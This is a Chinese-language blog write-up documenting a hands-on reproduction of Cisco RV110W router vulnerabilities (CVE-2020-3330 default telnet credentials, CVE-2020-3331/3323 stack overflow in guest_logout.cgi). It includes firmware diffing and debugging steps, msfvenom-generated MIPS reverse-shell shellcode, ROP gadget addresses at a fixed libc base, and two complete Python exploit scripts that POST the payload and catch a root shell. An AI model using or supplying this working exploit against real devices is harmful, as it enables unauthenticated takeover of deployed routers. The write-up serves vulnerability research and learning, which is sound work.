RV110W路由器漏洞复现
被
xuanxuan
老师种草了~,"一定要摸真实的设备"这句话余音绕梁,终于狠下心买了一个二手的RV110W
,开始我的路由器漏洞复现之路,希望能学到点东西!
0x00 开端
拿到路由器接上电源网线,电脑连接上RV100W
就遇到了第一个问题,怎么进入后台?好吧,萌新没怎么玩过路由器,都是按照路由器背面的IP来登录,好巧不巧,它的背面很干净,啥都没有,看lemon
师傅的视频看到10.10.10.1兴致冲冲的去访问,结果进了一个交换机的登录界面,奇了怪了,后来询问lemon
师傅,要看路由器的网关IP进去,至此第一个问题顺利解决,初始密码是cisco:cisco
很顺利的进入后台,进入Administration => Firmware/Language Upgrade
,看到固件的版本不对,是多少来着忘了,反正很老的一个固件,下面提供了固件的升级,我直接就拿xuanxuan
老师的固件刷进去了,等了好一会,它就重启了,再次进入就发现固件版本已经变成1.2.2.5了
[固件链接]https://xuanxuanblingbling.github.io/assets/attachment/RV110W_FW_1.2.2.5.bin
0x01 信息收集
到这,准备工作已经完成了!
那就开始真实环境下的漏洞复现了,首先一般我们想要找一个设备的漏洞,那得先看有什么服务吧!那么从服务很容易联想到端口,所以最开始我们先用端口扫描
nmap -sU -sT -p0-65535 192.168.1.1
扫完了,就想看看实现,就要对固件进行解包,固件提取拿以前的一张图来看
这里就是xuanxuan
老师那边拿的,算是互联网搜索吧!
xuanxuan
老师那说要安装sasquatch
这个组件,但是在AttifyOs
那直接binwalk
就开了???可能是AttifyOs
的binwalk
比较完整吧,不太清楚
之后就是搜集漏洞信息
0x02 漏洞利用
CVE-2020-3330
漏洞描述
Cisco Small Business RV110W Wireless-N VPN防火墙路由器的Telnet服务中的漏洞可能允许未经身份验证的远程攻击者完全控制具有高特权帐户的设备。存在此漏洞是因为系统帐户具有默认的静态密码。攻击者可以通过使用此默认帐户连接到受影响的系统来利用此漏洞。成功利用此漏洞可能使攻击者获得对受影响设备的完全控制。
也就是说远程服务中存在弱密码,之前扫到23端口是开着的,所以远程服务很大可能是telnet
中存在弱口令,搜索发现大多数文件都是链接到rc这个文件
> find . | xargs grep -ri "admin:\\\$"
Binary file ./sbin/rc matches
grep: ./usr/local/libexec/ipsec/setup: No such file or directory
Binary file ./sbin/rc matches
Binary file ./sbin/gpio_check matches
Binary file ./sbin/write matches
Binary file ./sbin/ca_manage matches
Binary file ./sbin/ses_led matches
Binary file ./sbin/ipsec_fqdn_detect matches
Binary file ./sbin/sendudp matches
Binary file ./sbin/check_ses_led matches
Binary file ./sbin/stats matches
Binary file ./sbin/ddns_update_data matches
Binary file ./sbin/services matches
Binary file ./sbin/restore matches
Binary file ./sbin/info matches
Binary file ./sbin/preinit matches
Binary file ./sbin/qkvpn_rekey matches
Binary file ./sbin/ipsec-up matches
Binary file ./sbin/calc_vpnconn_time matches
Binary file ./sbin/bootnv matches
Binary file ./sbin/ipsec_wanlink matches
Binary file ./sbin/usb_test matches
Binary file ./sbin/icmp_echo matches
Binary file ./sbin/cron_iaprule matches
Binary file ./sbin/waninfo matches
Binary file ./sbin/ntpd matches
Binary file ./sbin/detectwan matches
Binary file ./sbin/ipsec_fw matches
Binary file ./sbin/ddns_success matches
Binary file ./sbin/cpu_usage matches
Binary file ./sbin/cron_aclrule matches
Binary file ./sbin/firewall matches
Binary file ./sbin/generate_md5sum matches
Binary file ./sbin/init matches
Binary file ./sbin/listen matches
Binary file ./sbin/check_ps matches
Binary file ./sbin/snmpdc matches
Binary file ./sbin/process_monitor matches
Binary file ./sbin/rc matches
把放到IDA里面,搜字符串定位关键函数
随便翻下就有了个明文字符串,拿去解一下MD5
密码就出来了,我们就可以通过telnet
来传gdbserver
就不用拆机器了
CVE-2020-3331/CVE-2020-3323
漏洞描述
Cisco RV110W 基于Web的管理界面中的漏洞可能允许未经身份验证的远程攻击者在受影响的设备上执行任意代码。该漏洞是由于基于Web的管理界面未正确验证用户提供的输入数据而引起的。攻击者可以通过向特定设备发送精心设计的请求来利用此漏洞。成功的利用可能使攻击者利用root用户的特权执行任意代码。
总结一下:
web
管理界面存在漏洞未正确验证用户提供的输入数据(猜测是栈溢出)
Diff
1.2.2.5这个固件的版本相对来说比较旧,所以一个很常用的手法就是去diff
文件,拿已经修复此漏洞的固件进行diff
,能够更容易的去定位漏洞点,diff
有俩常见的工具,bindiff
和diaphora
bindiff
[bindiff下载链接]https://www.zynamics.com/software.html
选.msi
下载就行,安装路径为IDA的主目录,之后打开IDA在插件那边就能看见bindiff
了,把要比对的文件先打开再保存成idb
文件,然后点bindiff
选择要比对的idb
就能开始比对啦!
ps:user
的目录不要有中文,否则你会很不幸
前台:与用户进行交互的界面
后台:对用户隐藏的那部分数据处理与逻辑处理
查阅资料得知,每个基本块颜色的说明:
绿色:相同的基本块
黄色:修改的基本块
红色:删掉的基本块
灰色:新加的基本块
可以看到guest_logout_cgi
函数看起来跟web
服务有点关系,右键view flow graphs
就可以查看汇编代码对比,找了半天才找到,就离谱
ps:
千万不要直接把两个idb
直接丢到idb
,不然你会知道什么叫浪费时间(bindiff
直接打开的分析速度感人
除此之外,你如果对二进制的漏洞点以及危险函数比较熟悉的话,双击点进去,很容易就看到这个没有限制长度的sscanf
,它将过滤掉一些字符串之后输出流到submit_button_value
,往上翻看到submit_button_value
的类型为const char *
,确实是存放在栈上的
sscanf(submit_button_value, "%[^;];%*[^=]=%[^\n]", v29, v28);
现在还不能证明可以劫持返回地址,因为MIPS
的汇编还有一个特点是叶子函数的返回地址是存放在寄存器上的,往上翻其实是可以看到调用get_cgi
函数,所以guest_logout_cgi
并不是叶子函数,到此才能真正的证明此处确实存在栈溢出的漏洞
diaphora
吐了,老是报错整不好了...,bindiff
也能用的啦!只不过是看汇编,diaphora
可以看源码,下次再补上...
正则匹配
%[ ^;];%*[ ^=]=%[ ^\n]
是一个正则表达式,%是代表选择,%*是过滤
%[^;]
:分号前的所有字符都要;%*[^=]
:分号后,等号前的字符都不要=%[^\n]
:等号后,换行符前的所有字符都要
看不是很懂,那就上个demo
吧!
#include <stdio.h>
int main(void){
char var1[5] = "aaa";
char var2[5] = "bbb";
char var3[5] = "ccc";
const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";
sscanf(welcome,"%[^;];%*[^=]=%[^\n]", var1, var2, var3);
printf("%s\n%s\n%s\n",var1,var2,var3);
return 0;
}
我们看到运行结果就容易理解一些了:
接下来就是去构造恶意的数据包,那如何去构造一个数据包呢?在前面可以知道这是web
端(80端口)的服务,与它通信的协议肯定是http
或者是https
,所以我们肯定是去构造http
的包,学过tcp/ip
都知道,http
的包是包含方法字段,URL,首部行以及实体的,但是这样太麻烦了,python
集成了一个库叫[requests
]https://pypi.org/project/requests/,我们只需要构造好相应的参数就可以用它来进行发包了,具体的请求方式可以参考下面的链接:
[requests
请求方式]https://blog.csdn.net/u013210620/article/details/80230467
[快速上手— Requests 2.18.1 文档]https://docs.python-requests.org/zh_CN/latest/user/quickstart.html
回到刚刚sscanf
溢出,回溯一下到底怎么样才能到底这个分支,想要到达这个分支需要绕过下面四个判断:
if ( !submit_button_value )
submit_button_value = "";
if ( cmac_value && cip_value )
{
...
}
if ( VERIFY_MAC_17(cmac_value) && VERIFY_IPv4(cip_value) )
{
if ( !strstr(submit_button_value, "status_guestnet.asp") )
...
提取一下里面的信息:
一共有三个字段,分别是 cmac
,cip
,submit_button
cmac
,cip
的值合法get_cgi("submit_button")
不能为空,并且submit_button_value
需要包含status_guestnet.asp
但是格式呢?虽然下面出现一些格式,但是经过测试,这三个字段的顺序似乎没有什么关系,因为前面是通过传入指定字符串之后调用get_cgi()
,所以就没有必要特别关注他们的顺序了
fprintf(console, "\n mac=[%s], ip=[%s],submit_button=[%s]\n",
cmac_value,
cip_value,
submit_button_value);
逆向出这些信息之后,就可以来构造包了cmac
,cip
只需要填入正常的mac
地址和ip
地址,submit_button
就是我们的溢出目标,在加上必须要包含的字符串status_guestnet.asp
就可以加上溢出的字符串了,这里用的是cyclic
生成的字符串,因为便于后面测试溢出长度,URL在登录的时候为"https://192.168.1.1/login.cgi"
,并且在下面看到下面的内容:
fprintf(
v17,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
submit_button_value,
v29,
v28);
所以就猜测为"https://192.168.1.1/guest_logout.cgi"
,由于是通过http
来提交表单,所以就存在用什么方法字段来包,我们就不搞这么麻烦了,两个都试试,发送GET报文发现并没有什么事情发生(web页面没有崩溃)
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.get(url, data=payload, verify=False, timeout=1)
但是发送方法字段为POST报文的时候,发现web
页面在疯狂转圈圈,就是崩了
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.post(url, data=payload, verify=False, timeout=1)
确定溢出偏移
崩了就意味着,有漏洞点的存在,那接下来就是调试的事情了,用的是海特实验室的gdbserver
,其实还有一个是gef
开发者编译的gdbserver
[海特实验室 IOT_Wiki]https://github.com/DasSecurity-HatLab/HatLab_IOT_Wiki
[gef author]https://github.com/hugsy/gdb-static
启动一个窗口起一个简单的http服务器
python2:
➜ python -m SimpleHTTPServer 8080
python3:
➜ python -m http.server 8080
ps:建议启动浏览器复制链接,真的好用!
再启动一个窗口telnet
连接上路由器用wget
(路由器里面自带的)挂上gdbserver
,就可以远程调试了
➜ telnet 192.168.1.1
➜ cd tmp
➜ wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver"
➜ chmod +x gdbserver
➜ ps | grep "httpd"
➜ ./gdbserver :1234 --attach 356#看httpd -S的进程号,另一个好像调试不了
传进去之后,恶梦才刚刚开始....我根本想不到这问题出在哪里!尝试换终端(改成dash
),换架构(在树莓派上尝试),换目录(换到data
目录)之后,终于摸索到了关键原因----gdbserver
本身,各位大师傅们的gdbserver
为gdbserver-7.12-mipsel-mips32rel2-v1-sysv
,我死活用不了,我尝试甚至在我朋友上的电脑上尝试都不行,可能大师傅们的电脑是MacOS
吧,咱也不知道,咱也不敢问,我最后在换到gdbserver-7.12-mipsel-i-v1-sysv
之后,终于可以使用了!
终于...下一个错误来了,gdb-mutilarch
进行远程调试的时候,remote
上去的时候断不下来,报下面这个错,看到下面capstone
好像出现了问题,怀疑是版本过低,重新安装pwntools
解决问题
[5年了...Capstone 终于升级到4.0!]https://blog.csdn.net/weixin_33674976/article/details/85219451
[解决方法]https://blog.csdn.net/zhr12321/article/details/116742894
此处,终于看到调试界面了,泪目!!!
来来来,问题怪又来了...,按照大师傅们的做法,按下c
之后,输入cyclic 200
生成的字符串,就会崩掉,并看到PC
寄存器被覆盖...但我...没反应啊!
解决办法就是先在sscanf
之前下断点(后面测试其实不用下断点也是一样的,然后再c
,接着用exp
打一下,就断下来了,原因是因为我们本身就是attach
上httpd
这个进程,所以这个进程本身还在运行,如果我们打了断点并用exp
打过去的话,它就会按照以往正常的业务逻辑去执行,但是再执行的过程中被中断了,所以...就断了下来,再往下走的,我们就能看到PC
寄存器被覆盖了!接下来就是常规操作用cyclic -l
来计算偏移
确定好溢出的长度就可以开始利用了,基本上都是ROP+shellcode
的形式,那么现在就是生成shellcode
和泄露libc
获取gadget
的问题了,如果不是很熟悉可以看看《MIPS PWN入门》
shellcode
shellcode一般来说可以使用以下四种方式获取:
msfvenom shell-storm pwntools 自己编写(简单的 shellcode
还是可以写写的)
其他都有试过,msf
还没试过这里记录一下...msf
支持好多版本的shellcode
,有点香!
用下面的命令就能生成,注意IP和端口匹配:
➜ msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
可以看到shellcode
中并没有'\x00'
也就是不存在截断问题,很不错
shellcode = b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"
总的来说还是:
msf
更方便好用,并且非常稳。shell-storm
找到的种类多,不过偶尔需要手动修改。最后对于真实设备的利用上pwntools
会有很多的问题,所以这里不推荐使用pwntools
生成shellcode
shell-storm
里面的shellcode
也是能用的,不过需要修改IP地址
[200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb]http://shell-storm.org/shellcode/files/shellcode-860.php
ROP
既然要ROP
,那必然要泄露libc
,但是在大部分IOT设备中,地址随机化是不会变化的,包括这个设备,所以在maps
中加载的libc
地址就是它一直使用的libc
地址,无论是重启还是换固件版本甚至在RV130
中,libc
的基地址都一样,这就省去了很多步骤,下面引用xuanxuan
老师的一段话:
问了常老师,再次猜测可能是为了效率,编译的时候就把内核的这个功能干掉了,或者当前平台压根就不支持这个功能。先存疑,总之我们发现动态库的基址都是不变的,故我们可以使用程序加载的动态库中的
gadget
。
➜ cat /proc/356/maps
可以看到很多libc
,而libc.so.0
的基地址是2af98000
得到了libc
基地址,只让是寻找一些可用的gadget
,我们使用IDA的插件----mipsrop
,由于安装的时候发现,它对IDA 7.5不是很支持,所以还是出了一些小问题,这里记录一下...
[解决IDA 无法安装mipsrop插件]https://www.jianshu.com/p/0f5923fac8d4
[IDA 无法安装mipsrop插件]https://bbs.pediy.com/thread-266102.htm
安装成功后呢,在search
中就能看到mips rop gadgets
,点击之后加载了mipsrop
插件了
可以用mipsrop.help()
查看mipsrop
的一些常用命令
[mipsrop常用命令]https://www.cnblogs.com/hac425/p/9416864.html
在上面的程序加载了很多动态链接库,但是却唯独选择了**/lib/libc.so.0**这个动态链接库来寻找gadget
,为啥呢?估计是比较熟悉吧!
用mipsrop.stackfinders()
来寻找一些gadget
,这些gadget
都是和栈($sp
)相关的:
Python>mipsrop.stackfinders()
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0000BA84 | addiu $a1,$sp,0x158+var_A0 | jalr $s0 |
| 0x00011918 | addiu $a2,$sp,0x68+var_40 | jalr $s1 |
| 0x000250A8 | addiu $s0,$sp,0x278+var_250 | jalr $fp |
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x00025CAC | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002747C | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002CC00 | addiu $a0,$sp,0x38+var_10 | jalr $s0 |
| 0x0002CC08 | addiu $a0,$sp,0x38+var_10 | jalr $s1 |
| 0x00035DF4 | addiu $a1,$sp,0x20+var_8 | jalr $s1 |
| 0x0003D050 | addiu $a0,$sp,0x30+var_18 | jalr $a0 |
| 0x000427A8 | addiu $s0,$sp,0xB8+var_98 | jalr $s6 |
| 0x00042E04 | addiu $v1,$sp,0xF0+var_D0 | jalr $s1 |
| 0x0000D45C | addiu $a0,$sp,0x98+var_80 | jr 0x98+var_s4($sp) |
| 0x0000ED70 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0001D5FC | addiu $a3,$sp,0x28+var_8 | jr 0x28+var_s0($sp) |
| 0x00020100 | addiu $a0,$sp,0x28+var_10 | jr 0x28+var_s0($sp) |
| 0x0002C060 | addiu $a0,$sp,0x70+var_58 | jr 0x70+var_sC($sp) |
| 0x0002F800 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_s0($sp) |
| 0x00030434 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s10($sp) |
| 0x00039948 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399A0 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399F8 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A50 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A90 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039AFC | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039B5C | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x0003A844 | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x0003D05C | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s0($sp) |
| 0x0004BAA8 | addiu $a1,$sp,0x3020+var_1008 | jr 0x3020+var_s24($sp) |
| 0x0004D314 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D484 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D8E4 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
---------------------------------------------------------------------------------------------------------
Found 32 matching gadgets
Python>mipsrop.find("mov $t9,$a0")
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
---------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
找到两条可用的gadget
:
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
算一下溢出到$s0
的偏移0x55-0xe4+0xc0 = 0x31
(49),其实可以直接用cyclic
来计算到$s0
的偏移,因为在之前溢出中可以看到$s0
被溢出成了'aaan'
➜ cyclic -l 'aaan'
49
再看看shellcode
的偏移,暂时还不会在ghidra
上用mipsrop
的插件,就用了个笨办法,在IDA上先找gadget
然后,再来ghidra
看偏移,可以看到我们shellcode
的偏移为0x18,至此,所有的准备工作已经完成!!!
再启动一个终端,监听shellcode
中回连的端口,等待反弹shell
完整exp
import requests
from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"
pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 0x31 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode
url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": pd1,
"cip": "192.168.1.100"
}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)
监听的终端已经看到反弹shell
了,泪目~
exp
的另一种写法,加入pwntools
的wait_for_connection
模块来实现的,这样就不用开多一个终端监听:
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.101 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
def attack():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False,timeout=1)
except:
pass
io = listen(8888)
#创建一个TCP或UDP套接字以接收数据
thread.start_new_thread(attack,())
#开始一个新的线程,从attack函数开始运行
io.wait_for_connection()
#阻塞直到建立连接
log.success("getshell")
io.interactive()
0x03 总结
被xuanxuan
老师带坑的第一个真实的IOT设备,复现之路异常坎坷,但不管怎么样最终还是复现出来了,学到不少知识,不过还有一些细节问题还没解决,后面慢慢看吧!加油,路还很长,任重而道远!通过之前的复现,思考到底如何对一个新设备进行漏洞挖掘,我认为在IOT设备中的漏洞挖掘的基本思路:信息收集(扫描端口,查看是否有特殊的接口)->
提取固件(shell
打包,互联网搜索,编程器提取) ->
逆向分析固件(从服务和端口来入手分析,从常见的漏洞点来看,比如MQTT,WEB服务等等,用fuzz
固件的方式定位危险函数进而分析) ->
漏洞测试,下面的文章的分析思路还是很清楚的可以参考学习学习:
[海康萤石智能门锁的网关分析]https://bbs.pediy.com/thread-261679-1.htm
0x04 参考文章
[思科路由器 RV110W CVE-2020-3331 漏洞复现]https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
[360代码卫士帮助思科公司修复多个产品高危安全漏洞(附详细技术分析)]https://www.anquanke.com/post/id/159183
[强网杯2020决赛 Cisco RV110W路由器复现]https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W/#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98
[思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞复现]https://xiaoxin.zone/2021/02/06/si-ke-lu-you-qi-rv110w-cve-2020-3331-cve-2020-3323-lou-dong-fu-xian/
end
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 习近平拉美之行的三个“一” 7926713
- 2 微信或史诗级“瘦身” 内存有救了 7921583
- 3 男子求助如何打开亡父遗留14年手机 7820562
- 4 中国主张成为G20峰会的一抹亮色 7718412
- 5 中国对日本等国试行免签 7676149
- 6 7万余件儿童羽绒服里没有真羽绒 7547761
- 7 女生半裸遭男保洁刷卡闯入 酒店回应 7490292
- 8 70多辆小米SU7同一天撞墙撞柱 7332971
- 9 操纵股价 2人被证监会罚没近3.35亿 7244473
- 10 千年古镇“因网而变、因数而兴” 7178617